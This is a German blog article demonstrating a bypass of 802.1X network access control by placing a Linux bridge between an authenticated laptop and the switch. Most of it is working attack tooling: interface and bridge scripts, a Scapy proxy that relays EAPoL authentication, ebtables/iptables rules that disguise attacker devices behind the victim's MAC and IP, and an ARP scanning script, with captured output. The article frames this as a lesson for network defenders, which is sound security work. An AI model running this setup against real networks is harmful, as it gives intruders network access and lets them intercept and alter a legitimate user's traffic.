Netzwerkzugangskontrolle nach 802.1X-2004 umgehen

Portbasierte Network Admission Control (NAC) entsprechend 802.1X soll verhindern, dass unerwünschte Endgeräte mit dem LAN verbunden werden können. In diesem Beitrag wird gezeigt, dass diese Zugangskontrolle leicht überwunden werden kann.

Der IEEE Standard 802.1X-2004 beschreibt ein Verfahren zur Authentifizierung und Autorisierung von Geräten, bevor diesen ein Zugang zum LAN über einen Switchport gewährt wird. Sofern sich ein angeschlossenes Gerät nicht authentifizieren kann, werden Pakete über den Port entweder nicht weitergeleitet, oder der Port wird automatisch einem VLAN mit begrenzten Verbindungsmöglichkeiten zugewiesen. Der Standard 802.1X-2004 geht davon aus, dass die Anzahl der angeschlossenen Systeme beschränkt ist auf genau ein Gerät beziehungsweise eine MAC Adresse pro Port. In der Praxis wird dies erreicht, indem die Kommunikation des Ports beschränkt wird, auf die MAC Adresse des zuerst erfolgreich authentifizierten Gerätes. Zusätzliche MAC Adressen werden anschließend bei Verletzung dieser Richtlinie entweder gefiltert, oder der Port wird vollständig  abgeschaltet.

Für die Identifizierung und Authentifizierung eines Systems kommen entweder Informationen auf dem Gerät selbst in Frage (Maschinenauthentifizierung) oder es werden Benutzerinformationen verwendet (Benutzerkennung und Passwort). Mit 802.1X kann also sichergestellt werden, dass sich nur erwünschte, von der IT bereitgestellte Geräte mit dem LAN verbinden können bzw. nur registrierte Nutzer Zugriff erhalten. Es stellt sich bei näherer Betrachtung jedoch heraus, dass diese Zusage nicht eingehalten werden kann, wenn ein Angreifer physischen Zugriff auf die Verbindung zwischen dem authentifizierten Gerät und dem Switchport erlangt.

Überblick über die Funktionsweise von 802.1X-2004

Die beteiligten Parteien einer einfachen 802.1X-2004 Installation sind:

  • Ein Client, auch Supplicant (Bittsteller) genannt
  • Der Authenticator, in den meisten Fällen ein Switch, der die Anmeldung des Clients ermöglicht
  • Ein Anmeldeserver, der es dem Authenticator erlaubt, mit den Anmeldedaten des Clients zu bestimmen, ob ein Gerät Zugang erhalten darf.

802.1X-2004 einfaches Setup

Die Anmeldung am Netz kann entweder vom Client initiiert werden (EAPoL-Start Paket), oder der Client erhält ein regelmäßig vom Authenticator ausgesendetes  EAPoL-Request-Identity Paket.  Die weitere Authentifizierung verläuft dann wie folgt:

EAPoL Authentifizierung

Die Anmeldung wird erst durchlaufen, wenn die notwendigen Informationen bereitstehen. Bei einer Maschinenauthentifizierung ist dies nach dem Start des Betriebssystem. Wenn Nutzerinformationen notwendig sind, meldet sich das System an, sobald diese bekannt sind. Eine automatische Anmeldung erfolgt im Anschluss daran immer, wenn das einmal authentifizierte System vom Netzwerk getrennt wurde oder aus einem Schlafzustand aufgeweckt wird. Ein Angreifer muss also nicht unbedingt warten, bis sich ein Nutzer anmeldet. Ein unbeobachteter Laptop im Schlafzustand mit einem bereits angemeldeten Nutzer schaltet den Port in jedem Fall frei, sobald die Maschine aufgeweckt wird.

Wenn eine Punkt-zu-Punkt Verbindung keine ist

Eine grundlegende Annahme von 802.1X-2004 ist, dass nur ein System pro Port angeschlossen werden kann. In der Praxis wird dies durchgesetzt, indem nur Pakete von der einen MAC Adresse weitergeleitet werden, die an der Authentifizierung beteiligt war. In einer Ethernet Broadcast Domain können keine zwei Geräte dieselbe MAC Adresse haben. Zumindest dann nicht, wenn beide Geräte zuverlässig mit anderen Systemen kommunizieren sollen. Es ist jedoch durchaus möglich, ein weiteres Gerät zwischen Client und Authenticator unterzubringen, das zusätzliche Rechner mit der einen MAC des Clients kommunizieren lassen kann.

Schritt 0: Rechner zwischen Supplicant und Authenticator

802.1X EAPoL Proxy

Der Rechner zwischen Supplicant und Authenticator ist in diesem Beispiel ein Alix apu1d4 Single Board Computer mit drei Gigabit Netzwerkinterfaces. Als Betriebssystem kommt CentOS 7 zum Einsatz.

Basiskonfiguration

Weil der Switch (Authenticator) oft so konfiguriert ist, dass nicht authentifizierte MAC Adressen zu einer Abschaltung des Ports führen, ist genau darauf zu achten, dass das System von sich aus keinerlei Pakete versendet. Das Cent OS ist daher von allen Automatismen wie Network Manager, Zeroconf usw. zu befreien. Inhalt der  /etc/sysctl.conf:

net.ipv4.conf.all.forwarding = 1   #Weiterleitung von Paketen
net.ipv6.conf.all.disable_ipv6 = 1 #Kein IPv6
net.bridge.bridge-nf-call-iptables = 1 #Bridge soll Netfilter aufrufen

Konfiguration der Netzwerkinterfaces in /etc/sysconfig/network-scripts/:

# Interface zum Switch
DEVICE=enp1s0
ONBOOT=no
NM_CONTROLLED=no
BOOTPROTO=static

# Interface zum Angreifer
DEVICE=enp2s0
ONBOOT=yes
NM_CONTROLLED=no
TYPE=Ethernet
BOOTPROTO=static
IPADDR=192.0.2.1
PREFIX=24

# Interface zum Client
DEVICE=enp3s0
ONBOOT=no
NM_CONTROLLED=no
BOOTPROTO=static

Nach dem Systemstart ist allein das Interface enp2s0 aktiv, auf dem ein DHCP Server IP Adressen für die Geräte des Angreifers verteilt. Das Netzwerk 192.0.2.0/24 ist von der IANA reserviert als Beispielnetz für Dokumentationszwecke. Es ist an dieser Stelle offensichtlich  seiner korrekten Verwendung zugeführt, hat aber darüber hinaus auch die Eigenschaft, weder im Internet noch in internen Netzen vorzukommen. Die IPs werden also sicher nicht mit Adressen im Internet oder im angegriffenen Netzwerk kollidieren.

Schritt 1: Start der Brücke zwischen Supplicant und Authenticator

Als erstes werden die Interfaces zu Client und Switch mit folgendem Script gestartet:

#!/bin/bash

BD=$(dirname $0)
. "$BD/config.sh"

case $1 in
    'up')
        # Ausgehende ARP Pakete verwerfen
        arptables -A OUTPUT -o $ATIF -j ACCEPT
        arptables -P OUTPUT DROP
        # Interfaces starten
        ifconfig $SWIF inet 0.0.0.0 up promisc
        ifconfig $CLIF inet 0.0.0.0 up promisc
        ;;

    'down')
        ifconfig $SWIF inet 0.0.0.0 down
        ifconfig $CLIF inet 0.0.0.0 down
        arptables -P OUTPUT ACCEPT
        arptables -F OUTPUT
        ;;

    '*')
        echo 'allif [up|down]'
        exit 1
        ;;
esac

exit 0

Die dazugehörige Konfigurationsdatei:

# Stage 1
SWIF='enp1s0'
ATIF='enp2s0'
CLIF='enp3s0'
# Stage 2
BRIF='br0'
BRIP='198.51.100.1/24'

ARPtables erlaubt analog zu IPTables den Fluss von Paketen einzuschränken, nur eben nicht für IP Pakete sondern für ARP Pakete. Ausgehende ARP Pakete werden allesamt verworfen und nur auf dem Interface in Richtung Angreifer erlaubt. Auf diese Weise ist sichergestellt, dass keine unerwünschten Pakete entkommen und die Portsecurity auf dem Switch zuschlägt.

Nachdem die Interfaces zu Client und Switch aktiviert wurden, kann die Bridge gestartet  werden:

#!/bin/bash

BD=$(dirname $0)
. "$BD/config.sh"

case $1 in
    'up')
        brctl addbr $BRIF
        ifconfig $BRIF inet $BRIP up promisc
        brctl addif $BRIF $SWIF
        brctl addif $BRIF $CLIF
        ;;

    'down')
        ifconfig $BRIF inet 0.0.0.0 down
        brctl delbr $BRIF
        ;;

    '*')
        echo 'brif [up|down]'
        exit 1
        ;;
esac

exit 0

An dieser Stelle könnte der Client mit dem Rest des Netzwerkes kommunizieren. Dennoch bleibt der Port deaktiviert, da keine EAPoL Pakete den Client erreichen oder verlassen können. Die Ursache liegt in der Absenderadresse der EAPoL Pakete:

Ethernet II, Src: Cisco_c3:55:01 (00:0b:5f:c3:55:01), Dst: Nearest (01:80:c2:00:00:03)
    Destination: Nearest (01:80:c2:00:00:03)
        Address: Nearest (01:80:c2:00:00:03)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...1 .... .... .... .... = IG bit: Group address (multicast/broadcast)
    Source: Cisco_c3:55:01 (00:0b:5f:c3:55:01)
        Address: Cisco_c3:55:01 (00:0b:5f:c3:55:01)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: 802.1X Authentication (0x888e)
    Padding: 000000000000000000000000000000000000000000000000...
802.1X Authentication
    Version: 802.1X-2004 (2)
    Type: EAP Packet (0)
    Length: 5
    Extensible Authentication Protocol
        Code: Request (1)
        Id: 2
        Length: 5
        Type: Identity (1)
        Identity:

Die Linux Bridge Implementation hält sich an IEEE 802.1D-2004 und leitet Pakete an eine Reihe von MAC Adressen nicht weiter u.a. eben auch an die „IEEE 802.1X PAE Address“ 01:80:c2:00:00:03. D.h. eine Authentifizierung kann über eine Bridge nicht zustande-kommen. Während andere die Linux Bridge dieser Funktion durch einen Patch berauben, ist es auch mit einem weniger dramatischen Eingriff getan.

Schritt 2: EAPoL Proxy

Mit einem Python Script kann unter Verwendung von Scapy die Weiterleitung der EAPoL Pakete nachgerüstet werden:

#!/usr/bin/python2
import sys
import signal
from threading import Thread,Lock
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

###############################################################################
# global list of running threads
threads = []
# global lock to signal that we're still running
still_running_lock = Lock()
# Constants
PEER_SW = 0
PEER_CL = 1
EAPOL_EAPPACKET = 0
EAPOL_START = 1
EAPOL_LOGOFF = 2
EAPOL_KEY = 3
EAPOL_ASF = 4

EAP_REQUEST = 1
EAP_RESPONSE = 2
EAP_SUCCESS = 3
EAP_FAILURE = 4

###############################################################################
class EAProxy():
    def __init__(self, inputif, outputif, mypeer):
        self.inputif = inputif;
        self.outputif = outputif;
        self.mypeer = mypeer;
        self.peermac = '00:00:00:00:00:00'
        if self.mypeer == PEER_SW: self.myname = "SW"
        if self.mypeer == PEER_CL: self.myname = "CL"
        print("%s: input %s, output %s" % (self.myname, self.inputif, self.outputif))

    def pktproc(self, pkt):
        if not pkt.haslayer(EAPOL): return
        if(pkt[EAPOL].type == EAPOL_EAPPACKET):
            print("%s: %s" % (self.myname,
                pkt.sprintf(r"SRC=%Ether.src% EAPOL Code=%EAPOL.type% EAP Code=%EAP.code% Type=%EAP.type%")))
            if(pkt[EAP].code == EAP_REQUEST and self.mypeer == PEER_SW):
                if(pkt[Ether].src != self.peermac):
                    self.peermac=pkt[Ether].src;
                    print("%s: Learned new peer MAC %s" % (self.myname, self.peermac))
            elif(pkt[EAP].code == EAP_RESPONSE and self.mypeer == PEER_CL):
                if(pkt[Ether].src != self.peermac):
                    self.peermac=pkt[Ether].src;
                    print("%s: Learned new peer MAC %s" % (self.myname, self.peermac))
        elif(pkt[EAPOL].type == EAPOL_LOGOFF):
            print("%s: DROPPED %s" % (self.myname,
                pkt.sprintf(r"SRC=%Ether.src% EAPOL Code=%EAPOL.type%")))
            return
        elif(pkt[EAPOL].type == EAPOL_START and self.mypeer == PEER_CL):
            print("%s: %s" % (self.myname,
                pkt.sprintf(r"SRC=%Ether.src% EAPOL Code=%EAPOL.type%")))
            if(pkt[Ether].src != self.peermac):
                self.peermac=pkt[Ether].src;
                print("%s: Learned new peer MAC %s" % (self.myname, self.peermac))

        if(pkt[Ether].src != self.peermac): return
        sendp(pkt, iface=self.outputif, verbose=0);

    def stopcheck(self, pkt):
        return not still_running_lock.locked();

    def sniffloop(self):
        sniff(iface=self.inputif, filter="ether proto 0x888e",
            prn=self.pktproc, stop_filter=self.stopcheck)

###############################################################################
def usage():
    print 'Usage: eaproxy.py if-to-switch if-to-host'
    print ''
    print 'Example: sudo eaproxy enp1s0 enp3s0'
    print '   Proxies 802.1x requests and responses between two interfaces'

# Catch signal and clean up threads
def signal_handler(signal, frame):
    print 'Caught signal, exiting...'
    still_running_lock.release()
    for thread in threads:
        if thread.isAlive():
            try:
                thread._Thread__stop()
            except:
                print(str(thread.getName()) + ' could not be terminated')

    sys.exit(0)

###############################################################################
if __name__ == '__main__':
    if '-h' in sys.argv or '--help' in sys.argv or len(sys.argv) != 3:
        usage()
        sys.exit(-1)
    (switchif, hostif) = sys.argv[1:]
    still_running_lock.acquire()

    p1 = EAProxy(switchif, hostif, PEER_SW)
    p1.daemon = True
    threads.append(Thread(target=p1.sniffloop))
    p2 = EAProxy(hostif, switchif, PEER_CL)
    p2.daemon = True
    threads.append(Thread(target=p2.sniffloop))

    for t in threads: t.start()

    signal.signal(signal.SIGINT, signal_handler)
    signal.pause()

Das Script startet zwei Sniffer Threads, einen auf Client und einen auf Server Seite und leitet die 802.1X Pakete jeweils auf die andere Seite weiter. Wird der Proxy gestartet, erfolgt kurze Zeit später die Authentifizierung des Ports:

# ./eaproxy.py enp1s0 enp3s0
SW: input enp1s0, output enp3s0
CL: input enp3s0, output enp1s0
SW: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=ID
SW: Learned new peer MAC 00:0b:5f:c3:55:01
CL: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=ID
CL: SRC=b8:27:eb:7b:a0:76 EAPOL Code=EAP_PACKET EAP Code=RESPONSE Type=ID
CL: Learned new peer MAC b8:27:eb:7b:a0:76
SW: SRC=b8:27:eb:7b:a0:76 EAPOL Code=EAP_PACKET EAP Code=RESPONSE Type=ID
SW: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=13
CL: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=REQUEST Type=13
CL: SRC=b8:27:eb:7b:a0:76 EAPOL Code=EAP_PACKET EAP Code=RESPONSE Type=13
....
SW: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=SUCCESS Type=0
CL: SRC=00:0b:5f:c3:55:01 EAPOL Code=EAP_PACKET EAP Code=SUCCESS Type=0

Der Client ist jetzt online und kann wie gewohnt mit dem Netzwerk kommunizieren. Anhand des nun fließenden Verkehrs lassen sich alle weiteren benötigten Informationen gewinnen:

  • MAC Adresse des Switches
  • MAC des Clients
  • IP des Client und das Netzwerk in dem er sich befindet
  • Das Gateway

Schritt 3: MAC und IP NAT

Nachdem alle Informationen über das Netzwerk bekannt sind, sieht die Konfigurations- datei wie folgt aus:

# Stage 1
SWIF='enp1s0'
ATIF='enp2s0'
CLIF='enp3s0'
# Stage 2
BRIF='br0'
BRIP='198.51.100.1/24'
# Stage 3
SWMAC='00:0b:5f:c3:55:01'
CLMAC='b8:27:eb:7b:a0:76'
CLNET='192.168.200.0/24'
CLIP='192.168.200.10'
CLGW='192.168.200.1'
ATNET='192.0.2.0/24'

Der Proxy selbst und die Clients des Angreifers werden hinter einem NAT versteckt, dass sowohl die MAC Adressen wie auch die IPs umfasst. Ebtables dient dabei zur Installation von Filterregeln auf der zuvor gestarteten transparenten Bridge zwischen Client und Switch:

#!/bin/bash

BD=$(dirname $0)
. "$BD/config.sh"
BRMAC=$(</sys/class/net/$BRIF/address)

case $1 in
    'up')
        ebtables -t nat -A POSTROUTING -s $BRMAC -o $SWIF \
            -j snat --to-src $CLMAC
        iptables -t nat -A POSTROUTING -o $BRIF -s $BRIP \
           -j SNAT --to $CLIP
        iptables -t nat -A POSTROUTING -o $BRIF -s $ATNET \
           -j SNAT --to $CLIP
        route add -net $CLNET dev $BRIF
        route add default gw $CLGW
        ;;

    'down')
        route del default gw $CLGW
        route del -net $CLNET dev $BRIF
        iptables -t nat -F POSTROUTING
        ebtables -t nat -F POSTROUTING
        ;;

    '*')
        echo 'nat [up|down]'
        exit 1
        ;;
esac

exit 0

 

Schritt 4: ARP reparieren

Linux selbst bietet keine Möglichkeit, den Inhalt von ARP Requests umzuschreiben. Die Link Layer Adressierung der Anfragen wird zwar umgesetzt, aber der Inhalt der Anfrage selbst bleibt falsch. Die Antworten gehen in der Folge natürlich verloren.

Ethernet II, Src: Raspberr_7b:a0:76 (b8:27:eb:7b:a0:76), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
    Destination: Broadcast (ff:ff:ff:ff:ff:ff)
        Address: Broadcast (ff:ff:ff:ff:ff:ff)
        .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)
        .... ...1 .... .... .... .... = IG bit: Group address (multicast/broadcast)
    Source: Raspberr_7b:a0:76 (b8:27:eb:7b:a0:76)
        Address: Raspberr_7b:a0:76 (b8:27:eb:7b:a0:76)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: ARP (0x0806)
    Padding: 000000000000000000000000000000000000
Address Resolution Protocol (request)
    Hardware type: Ethernet (1)
    Protocol type: IP (0x0800)
    Hardware size: 6
    Protocol size: 4
    Opcode: request (1)
    Sender MAC address: PcEngine_3f:fc:18 (00:0d:b9:3f:fc:18)
    Sender IP address: 198.51.100.1 (198.51.100.1)
    Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)
    Target IP address: 192.168.200.1 (192.168.200.1)

Ohne ARP ist eine IP Kommunikation im LAN jedoch unmöglich. Wiederum ist die Lösung ein Script in Python, mit dessen Hilfe die notwendigen ARP Einträge statisch gesetzt werden könnnen:

#!/usr/bin/env python2
#
# Requires IF set to promiscous for MAC != interface MAC
# https://github.com/secdev/scapy/issues/17
import sys
import argparse
import logging
import netaddr
import re
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

###############################################################################
def getargs(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument("-m", metavar="MAC", nargs=1, dest="mac",
        help="source mac address, default is interface MAC")
    parser.add_argument("-a", metavar="ADDRESS", dest="adr", nargs=1,
        help="source IP, default is interface IP")
    parser.add_argument("-i", metavar="INTERFACE", dest="iface", nargs=1,
        required=True, help="source interface")
    parser.add_argument("network", type=str,
        help="network to scan in CIDR notation")
    return parser.parse_args(argv)

def main(argv):
    args = getargs(argv)
    mac = None
    adr = None

    if(args.mac):
        if(not re.match('^((([a-f]|[A-F]|[0-9]){2}):){5}([a-f]|[A-F]|[0-9]){2}$',
            args.mac[0])):
            print("Not a valid MAC address.")
            return(1)
        mac = args.mac[0]

    if(args.adr):
        try:
            ip = netaddr.IPAddress(args.adr[0])
        except netaddr.AddrFormatError as err:
            print("IP address {0}".format(err))
            return(1)
        except:
            print("Unexpected error: {0}".format(sys.exc_info()[0]))
            raise
        if(ip.version != 4):
            print("Source not an IPv4 address or network.")
            return(1)
        adr = str(ip)

    try:
        net = netaddr.IPNetwork(args.network);
    except netaddr.AddrFormatError as err:
        print("Network address {0}".format(err))
        return(1)
    except:
        print("Unexpected error: {0}".format(sys.exc_info()[0]))
        raise

    if(net.version != 4):
        print("Target is not an IPv4 address or network.")
        return(1)

    qpkt = []
    for ip in net.iter_hosts():
        p = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=str(ip))
        if(mac):
            p.src = mac
            p[ARP].hwsrc = mac
        if(adr):
            p[ARP].psrc = adr
        qpkt.append(p)

    try:
        (ans, unans) = srp(qpkt, iface=args.iface[0], verbose=0, timeout=1)
    except socket.error as err:
        print("Socket error: {0}".format(err))
        return(1)
    except:
        print("Unexpected error: {0}".format(sys.exc_info()[0]))
        raise

    ans.summary(lambda(s, r): r.sprintf("%ARP.hwsrc% %ARP.psrc%"))
    return(0)

###############################################################################
if __name__ == '__main__':
    sys.exit(main(sys.argv[1:]))

Unter Verwendung von arpscan.py löscht das folgende Script zuerst alle bestehenden statischen Einträge und fügt dann die Ergebnisse des ARP Scan als statische ARP Einträge hinzu:

#!/bin/bash

BD="$(dirname $0)"
AS="$BD/../arpscan.py"
. "$BD/config.sh"

arp -sani $BRIF | sed 's/^.*(\([^)]*\).*$/\1/' | while read IP; do
    echo "Deleting $IP"
    arp -d $IP
done

$AS -m $CLMAC -a $CLIP -i $SWIF $CLNET | while read MAC IP; do
    echo "Adding $IP at $MAC"
    arp -s -i $BRIF $IP $MAC
done

exit 0

Ergebnis:

# ./5arp
Deleting 192.168.200.1
Adding 192.168.200.1 at 00:0c:29:63:3f:86
Adding 192.168.200.5 at 00:0b:5f:c3:55:00

Ab diesem Punkt sind die Rechner im LAN erreichbar und sowohl der Proxy Rechner wie auch Angreifer und Client sind gleichzeitig online. Die komplette Kommunikation des Clients kann abgehört und ggf. auch verändert werden. Nur ein direkter Angriff auf den Client ist nicht möglich. Hierfür müsste eine Adresse aus dem direkt verbundenen Netzwerk für ein SNAT geopfert werden, um als Absendeadresse für die Kommunikation in Richtung des Clients herzuhalten.

Fazit

Wie immer bei Sicherheitslösungen sollte am Anfang die Frage stehen, gegen was bzw. gegen wen soll ein Schutz aufgebaut werden. Geht es darum, einem „Gelegenheitstäter“ den Zugang zum LAN mit einem nicht authorisierten Gerät zu verwehren, dann ist 802.1X ein angebrachtes Mittel. Die Annahme, dass auch motivierte und technisch fähige Angreifer durch 802.1X ausgeschlossen werden könnten, wäre allerdings falsch. Folglich muss bei Überlegungen, wie das interne Netz abgesichert werden kann, angenommen werden, dass die NAC überwunden wurde, und der Angreifer mit einem eigenen Gerät in allen nur darüber abgesicherten (V)LANs online gehen kann.

Quellen und weiterführende Literatur

Wesentliche Elemente dieses Projektes beruhen auf dem Vortrag „A Bridge too far“ von Alva ‚Skip‘ Duckwall anlässlich der Defcon 19. Link zum Vortrag auf Youtube und den zugehörigen Folien.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

CAPTCHA *